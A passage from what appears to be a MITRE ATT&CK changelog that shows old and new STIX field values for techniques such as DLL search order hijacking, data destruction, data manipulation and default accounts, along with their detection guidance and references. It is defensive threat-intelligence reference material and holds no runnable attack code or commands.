Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637) Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking) If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. |
| external_references[3]['source_name'] | OWASP Binary Planting | FireEye Hijacking July 2010 |
| external_references[3]['description'] | OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016. | Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020. |
| external_references[3]['url'] | https://www.owasp.org/index.php/Binary_planting | https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html |
| external_references[4]['source_name'] | Microsoft Security Advisory 2269637 | OWASP Binary Planting |
| external_references[4]['description'] | Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020. | OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637 | https://www.owasp.org/index.php/Binary_planting |
| external_references[5]['source_name'] | Microsoft Dynamic-Link Library Redirection | FireEye fxsst June 2011 |
| external_references[5]['description'] | Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020. | Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN | https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html |
| external_references[6]['source_name'] | Microsoft Manifests | Microsoft Security Advisory 2269637 |
| external_references[6]['description'] | Microsoft. (n.d.). Manifests. Retrieved December 5, 2014. | Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020. |
| external_references[6]['url'] | https://msdn.microsoft.com/en-US/library/aa375365 | https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637 |
| external_references[7]['source_name'] | FireEye DLL Search Order Hijacking | Microsoft Dynamic-Link Library Redirection |
| external_references[7]['description'] | Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020. | Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020. |
| external_references[7]['url'] | https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html | https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN |
| x_mitre_data_sources[0] | Process command-line parameters | Module: Module Load |
| x_mitre_data_sources[1] | Process monitoring | File: File Creation |
| x_mitre_data_sources[2] | DLL monitoring | File: File Modification |
| x_mitre_detection | Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. | Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Manifests', 'description': 'Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.', 'url': 'https://msdn.microsoft.com/en-US/library/aa375365'} | |
| external_references | {'source_name': 'FireEye DLL Search Order Hijacking', 'description': 'Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may destroy data and files on specific systems o | t | 1 | Adversaries may destroy data and files on specific systems o |
| > | r in large numbers on a network to interrupt availability to | > | r in large numbers on a network to interrupt availability to | ||
| > | systems, services, and network resources. Data destruction | > | systems, services, and network resources. Data destruction | ||
| > | is likely to render stored data irrecoverable by forensic te | > | is likely to render stored data irrecoverable by forensic te | ||
| > | chniques through overwriting files or data on local and remo | > | chniques through overwriting files or data on local and remo | ||
| > | te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy | > | te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy | ||
| > | e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci | > | e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci | ||
| > | tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon | > | tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon | ||
| > | 3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera | > | 3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera | ||
| > | ting system file deletion commands such as <code>del</code> | > | ting system file deletion commands such as <code>del</code> | ||
| > | and <code>rm</code> often only remove pointers to files with | > | and <code>rm</code> often only remove pointers to files with | ||
| > | out wiping the contents of the files themselves, making the | > | out wiping the contents of the files themselves, making the | ||
| > | files recoverable by proper forensic methodology. This behav | > | files recoverable by proper forensic methodology. This behav | ||
| > | ior is distinct from [Disk Content Wipe](https://attack.mitr | > | ior is distinct from [Disk Content Wipe](https://attack.mitr | ||
| > | e.org/techniques/T1561/001) and [Disk Structure Wipe](https: | > | e.org/techniques/T1561/001) and [Disk Structure Wipe](https: | ||
| > | //attack.mitre.org/techniques/T1561/002) because individual | > | //attack.mitre.org/techniques/T1561/002) because individual | ||
| > | files are destroyed rather than sections of a storage disk o | > | files are destroyed rather than sections of a storage disk o | ||
| > | r the disk's logical structure. Adversaries may attempt to | > | r the disk's logical structure. Adversaries may attempt to | ||
| > | overwrite files and directories with randomly generated data | > | overwrite files and directories with randomly generated data | ||
| > | to make it irrecoverable.(Citation: Kaspersky StoneDrill 20 | > | to make it irrecoverable.(Citation: Kaspersky StoneDrill 20 | ||
| > | 17)(Citation: Unit 42 Shamoon3 2018) In some cases political | > | 17)(Citation: Unit 42 Shamoon3 2018) In some cases political | ||
| > | ly oriented image files have been used to overwrite data.(Ci | > | ly oriented image files have been used to overwrite data.(Ci | ||
| > | tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo | > | tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo | ||
| > | n Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximiz | > | n Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximiz | ||
| > | e impact on the target organization in operations where netw | > | e impact on the target organization in operations where netw | ||
| > | ork-wide availability interruption is the goal, malware desi | > | ork-wide availability interruption is the goal, malware desi | ||
| > | gned for destroying data may have worm-like features to prop | > | gned for destroying data may have worm-like features to prop | ||
| > | agate across a network by leveraging additional techniques l | > | agate across a network by leveraging additional techniques l | ||
| > | ike [Valid Accounts](https://attack.mitre.org/techniques/T10 | > | ike [Valid Accounts](https://attack.mitre.org/techniques/T10 | ||
| > | 78), [OS Credential Dumping](https://attack.mitre.org/techni | > | 78), [OS Credential Dumping](https://attack.mitre.org/techni | ||
| > | ques/T1003), and [SMB/Windows Admin Shares](https://attack.m | > | ques/T1003), and [SMB/Windows Admin Shares](https://attack.m | ||
| > | itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2 | > | itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2 | ||
| > | 012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto | > | 012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto | ||
| > | Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita | > | Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita | ||
| > | tion: Talos Olympic Destroyer 2018) | > | tion: Talos Olympic Destroyer 2018). In cloud environments, | ||
| > | adversaries may leverage access to delete cloud storage, cl | ||||
| > | oud storage accounts, machine images, and other infrastructu | ||||
| > | re crucial to operations to damage an organization or their | ||||
| > | customers.(Citation: Data Destruction - Threat Post)(Citatio | ||||
| > | n: DOJ - Cisco Insider) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Brent Murphy, Elastic', 'David French, Elastic', 'Syed Ummar Farooqh, McAfee', 'Prasad Somasamudram, McAfee', 'Sekhar Sarukkai, McAfee ', 'Varonis Threat Labs'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 21:08:19.783000+00:00 | 2021-03-25 14:47:48.728000+00:00 |
| description | Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018) | Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).
In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) |
| x_mitre_data_sources[0] | File monitoring | Instance: Instance Deletion |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | File: File Deletion |
| x_mitre_detection | Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\Windows\System32\. | Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\Windows\System32\.
In cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Data Destruction - Threat Post', 'description': 'Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.', 'url': 'https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/'} | |
| external_references | {'source_name': 'DOJ - Cisco Insider', 'description': 'DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco’s Network. Retrieved December 15, 2020.', 'url': 'https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network'} | |
| x_mitre_data_sources | Snapshot: Snapshot Deletion | |
| x_mitre_data_sources | Image: Image Deletion | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Volume: Volume Deletion | |
| x_mitre_data_sources | Cloud Storage: Cloud Storage Deletion | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_platforms | Windows | |
| x_mitre_platforms | IaaS |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may insert, delete, or manipulate data in order | t | 1 | Adversaries may insert, delete, or manipulate data in order |
| > | to manipulate external outcomes or hide activity. By manipul | > | to influence external outcomes or hide activity, thus threat | ||
| > | ating data, adversaries may attempt to affect a business pro | > | ening the integrity of the data. By manipulating data, adver | ||
| > | cess, organizational understanding, or decision making. The | > | saries may attempt to affect a business process, organizatio | ||
| > | type of modification and the impact it will have depends on | > | nal understanding, or decision making. The type of modifica | ||
| > | the target application and process as well as the goals and | > | tion and the impact it will have depends on the target appli | ||
| > | objectives of the adversary. For complex systems, an advers | > | cation and process as well as the goals and objectives of th | ||
| > | ary would likely need special expertise and possibly access | > | e adversary. For complex systems, an adversary would likely | ||
| > | to specialized software related to the system that would typ | > | need special expertise and possibly access to specialized so | ||
| > | ically be gained through a prolonged information gathering c | > | ftware related to the system that would typically be gained | ||
| > | ampaign in order to have the desired impact. | > | through a prolonged information gathering campaign in order | ||
| > | to have the desired impact. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'root', 'SYSTEM'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 23:16:20.202000+00:00 | 2022-04-19 23:03:02.016000+00:00 |
| description | Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. | Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. |
| x_mitre_data_sources[0] | Packet capture | File: File Modification |
| x_mitre_data_sources[1] | Network protocol analysis | Process: OS API Execution |
| x_mitre_data_sources[2] | File monitoring | File: File Deletion |
| x_mitre_data_sources[3] | Application logs | File: File Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_data_sources | File: File Metadata |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-09 14:02:05.276000+00:00 | 2021-03-08 10:33:01.374000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Cloud Storage: Cloud Storage Access |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 15:44:46.584000+00:00 | 2021-10-15 22:17:35.218000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Access |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may obtain and abuse credentials of a default ac | t | 1 | Adversaries may obtain and abuse credentials of a default ac |
| > | count as a means of gaining Initial Access, Persistence, Pri | > | count as a means of gaining Initial Access, Persistence, Pri | ||
| > | vilege Escalation, or Defense Evasion. Default accounts are | > | vilege Escalation, or Defense Evasion. Default accounts are | ||
| > | those that are built-into an OS, such as the Guest or Admini | > | those that are built-into an OS, such as the Guest or Admini | ||
| > | strator accounts on Windows systems or default factory/provi | > | strator accounts on Windows systems. Default accounts also i | ||
| > | der set accounts on other types of systems, software, or dev | > | nclude default factory/provider set accounts on other types | ||
| > | ices.(Citation: Microsoft Local Accounts Feb 2019) Default | > | of systems, software, or devices, including the root user ac | ||
| > | accounts are not limited to client machines, rather also inc | > | count in AWS and the default service account in Kubernetes.( | ||
| > | lude accounts that are preset for equipment such as network | > | Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS R | ||
| > | devices and computer applications whether they are internal, | > | oot User)(Citation: Threat Matrix for Kubernetes) Default a | ||
| > | open source, or commercial. Appliances that come preset wit | > | ccounts are not limited to client machines, rather also incl | ||
| > | h a username and password combination pose a serious threat | > | ude accounts that are preset for equipment such as network d | ||
| > | to organizations that do not change it post installation, as | > | evices and computer applications whether they are internal, | ||
| > | they are easy targets for an adversary. Similarly, adversar | > | open source, or commercial. Appliances that come preset with | ||
| > | ies may also utilize publicly disclosed or stolen [Private K | > | a username and password combination pose a serious threat t | ||
| > | eys](https://attack.mitre.org/techniques/T1552/004) or crede | > | o organizations that do not change it post installation, as | ||
| > | ntial materials to legitimately connect to remote environmen | > | they are easy targets for an adversary. Similarly, adversari | ||
| > | ts via [Remote Services](https://attack.mitre.org/techniques | > | es may also utilize publicly disclosed or stolen [Private Ke | ||
| > | /T1021).(Citation: Metasploit SSH Module) | > | ys](https://attack.mitre.org/techniques/T1552/004) or creden | ||
| > | tial materials to legitimately connect to remote environment | ||||
| > | s via [Remote Services](https://attack.mitre.org/techniques/ | ||||
| > | T1021).(Citation: Metasploit SSH Module) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:41:43.491000+00:00 | 2021-04-05 20:14:26.846000+00:00 |
| description | Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems or default factory/provider set accounts on other types of systems, software, or devices.(Citation: Microsoft Local Accounts Feb 2019) Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module) | Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes) Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module) |
| external_references[3]['source_name'] | Metasploit SSH Module | AWS Root User |
| external_references[3]['description'] | undefined. (n.d.). Retrieved April 12, 2019. | Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021. |
| external_references[3]['url'] | https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh | https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html |
| x_mitre_data_sources[0] | AWS CloudTrail logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Stackdriver logs | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Threat Matrix for Kubernetes', 'description': 'Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.', 'url': 'https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/'} | |
| external_references | {'source_name': 'Metasploit SSH Module', 'description': 'undefined. (n.d.). Retrieved April 12, 2019.', 'url': 'https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:55:23.113000+00:00 | 2021-03-08 10:33:02.083000+00:00 |
| x_mitre_data_sources[0] | GCP audit logs | Instance: Instance Metadata |
| x_mitre_data_sources[1] | Stackdriver logs | Instance: Instance Deletion |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather the vic | t | 1 | Adversaries may gather the victim's physical location(s) tha |
| > | tim's physical location(s) that can be used during targeting | > | t can be used during targeting. Information about physical l | ||
| > | . Information about physical locations of a target organizat | > | ocations of a target organization may include a variety of d | ||
| > | ion may include a variety of details, including where key re | > | etails, including where key resources and infrastructure are | ||
| > | sources and infrastructure are housed. Physical locations ma | > | housed. Physical locations may also indicate what legal jur | ||
| > | y also indicate what legal jurisdiction and/or authorities t | > | isdiction and/or authorities the victim operates within. Ad | ||
| > | he victim operates within. Adversaries may gather this info | > | versaries may gather this information in various ways, such | ||
| > | rmation in various ways, such as direct elicitation via [Phi | > | as direct elicitation via [Phishing for Information](https:/ | ||
| > | shing for Information](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1598). Physical locations of a | ||
| > | 1598). Physical locations of a target organization may also | > | target organization may also be exposed to adversaries via | ||
| > | be exposed to adversaries via online or other accessible dat | > | online or other accessible data sets (ex: [Search Victim-Own | ||
| > | a sets (ex: [Search Victim-Owned Websites](https://attack.mi | > | ed Websites](https://attack.mitre.org/techniques/T1594) or [ | ||
| > | tre.org/techniques/T1594) or [Social Media](https://attack.m | > | Social Media](https://attack.mitre.org/techniques/T1593/001) | ||
| > | itre.org/techniques/T1593/001)).(Citation: ThreatPost Broadv | > | ).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR | ||
| > | oice Leak)(Citation: DOB Business Lookup) Gathering this inf | > | Search) Gathering this information may reveal opportunities | ||
| > | ormation may reveal opportunities for other forms of reconna | > | for other forms of reconnaissance (ex: [Phishing for Inform | ||
| > | issance (ex: [Phishing for Information](https://attack.mitre | > | ation](https://attack.mitre.org/techniques/T1598) or [Search | ||
| > | .org/techniques/T1598) or [Search Open Websites/Domains](htt | > | Open Websites/Domains](https://attack.mitre.org/techniques/ | ||
| > | ps://attack.mitre.org/techniques/T1593)), establishing opera | > | T1593)), establishing operational resources (ex: [Develop Ca | ||
| > | tional resources (ex: [Develop Capabilities](https://attack. | > | pabilities](https://attack.mitre.org/techniques/T1587) or [O | ||
| > | mitre.org/techniques/T1587) or [Obtain Capabilities](https:/ | > | btain Capabilities](https://attack.mitre.org/techniques/T158 | ||
| > | /attack.mitre.org/techniques/T1588)), and/or initial access | > | 8)), and/or initial access (ex: [Phishing](https://attack.mi | ||
| > | (ex: [Phishing](https://attack.mitre.org/techniques/T1566) o | > | tre.org/techniques/T1566) or [Hardware Additions](https://at | ||
| > | r [Hardware Additions](https://attack.mitre.org/techniques/T | > | tack.mitre.org/techniques/T1200)). | ||
| > | 1200)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:09:48.419000+00:00 | 2021-08-27 15:37:09.025000+00:00 |
